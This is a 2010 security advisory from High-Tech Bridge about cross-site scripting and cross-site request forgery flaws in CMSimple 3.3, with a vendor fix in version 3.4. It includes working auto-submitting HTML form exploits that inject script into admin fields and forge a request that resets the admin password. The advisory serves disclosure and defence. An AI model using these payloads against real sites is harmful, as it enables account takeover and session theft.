Total Tests:

Multiple Vulnerabilities in CMSimple

Advisory ID:HTB22558
Product:CMSimple
Vendor:Peter Andreas Harteg
Vulnerable Versions:3.3 and probably prior
Tested Version:3.3
Advisory Publication:August 2, 2010 [without technical details]
Vendor Notification:August 2, 2010
Public Disclosure:August 16, 2010
Latest Update:August 13, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Scores:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
4 (AV:N/AC:H/Au:N/C:N/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in CMSimple which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerabilities in CMSimple
The vulnerability exists due to input sanitation error in the "site_title" and "text" parameters in /cmsimple/adm.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
Exploitation examples:
<form action="http://host/" method="post" name="main" >
<input type="hidden" name="security_password" value="test" />
<input type="hidden" name="security_type" value="page" />
<input type="hidden" name="site_title" value='CMSimple site"><script>alert(document.cookie)</script>' />
<input type="hidden" name="site_template" value="default" />
<input type="hidden" name="language_default" value="ru" />
<input type="hidden" name="meta_keywords" value="CMSimple, Content Management System, php" />
<input type="hidden" name="meta_description" value="CMSimple is a content management system" />
<input type="hidden" name="backup_numberoffiles" value="5" />
<input type="hidden" name="images_maxsize" value="150000" />
<input type="hidden" name="downloads_maxsize" value="1000000" />
<input type="hidden" name="mailform_email=" value="" />
<input type="hidden" name="editor_height" value="(screen.availHeight)-400" />
<input type="hidden" name="editor_external" value="" />
<input type="hidden" name="menu_color" value="000000" />
<input type="hidden" name="menu_highlightcolor" value="808080" />
<input type="hidden" name="menu_levels" value="3" />
<input type="hidden" name="menu_levelcatch" value="10" />
<input type="hidden" name="menu_sdoc" value="" />
<input type="hidden" name="menu_legal" value="CMSimple Legal Notices" />
<input type="hidden" name="uri_seperator" value=":" />
<input type="hidden" name="uri_length" value="200" />
<input type="hidden" name="xhtml_endtags" value="" />
<input type="hidden" name="xhtml_amp" value="true" />
<input type="hidden" name="plugins_folder" value="" />
<input type="hidden" name="functions_file" value="functions.php" />
<input type="hidden" name="scripting_regexp" value="\#CMSimple (.*?)\#" />
<input type="hidden" name="form" value="array" />
<input type="hidden" name="file" value="config" />
<input type="hidden" name="action" value="save" />
</form>
<script>
document.main.submit();
</script>

<form action="http://host/" method="post" name="main" >
<input type="hidden" name="text" value='php and html code of template<script>alert(document.cookie)</script>' />
<input type="hidden" name="file" value="template" />
<input type="hidden" name="action" value="save" />
</form>
<script>
document.main.submit();
</script>


2) Cross-site request forgery (CSRF) in CMSimple
The vulnerability exists due to insufficient validation of the request origin in cmsimple/adm.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and add create arbitrary publications.
Exploitation example:
<form action="http://host/" method="post" name="main" >
<input type="hidden" name="security_password" value="newpassword" />
<input type="hidden" name="security_type" value="page" />
<input type="hidden" name="site_title" value='CMSimple site' />
<input type="hidden" name="site_template" value="default" />
<input type="hidden" name="language_default" value="ru" />
<input type="hidden" name="meta_keywords" value="CMSimple, Content Management System, php" />
<input type="hidden" name="meta_description" value="CMSimple is a content management system" />
<input type="hidden" name="backup_numberoffiles" value="5" />
<input type="hidden" name="images_maxsize" value="150000" />
<input type="hidden" name="downloads_maxsize" value="1000000" />
<input type="hidden" name="mailform_email=" value="" />
<input type="hidden" name="editor_height" value="(screen.availHeight)-400" />
<input type="hidden" name="editor_external" value="" />
<input type="hidden" name="menu_color" value="000000" />
<input type="hidden" name="menu_highlightcolor" value="808080" />
<input type="hidden" name="menu_levels" value="3" />
<input type="hidden" name="menu_levelcatch" value="10" />
<input type="hidden" name="menu_sdoc" value="" />
<input type="hidden" name="menu_legal" value="CMSimple Legal Notices" />
<input type="hidden" name="uri_seperator" value=":" />
<input type="hidden" name="uri_length" value="200" />
<input type="hidden" name="xhtml_endtags" value="" />
<input type="hidden" name="xhtml_amp" value="true" />
<input type="hidden" name="plugins_folder" value="" />
<input type="hidden" name="functions_file" value="functions.php" />
<input type="hidden" name="scripting_regexp" value="\#CMSimple (.*?)\#" />
<input type="hidden" name="form" value="array" />
<input type="hidden" name="file" value="config" />
<input type="hidden" name="action" value="save" />
</form>
<script>
document.main.submit();
</script>

How to Detect Cross-Site Scripting Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Upgrade to version 3.4.


References:
[1] High-Tech Bridge Advisory HTB22558 - https://www.immuniweb.com/advisory/HTB22558 - Multiple Vulnerabilities in CMSimple
[2] CMSimple- cmsimple.org - CMSimple is a simple content management system for smart maintainance of small commercial or private sites.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential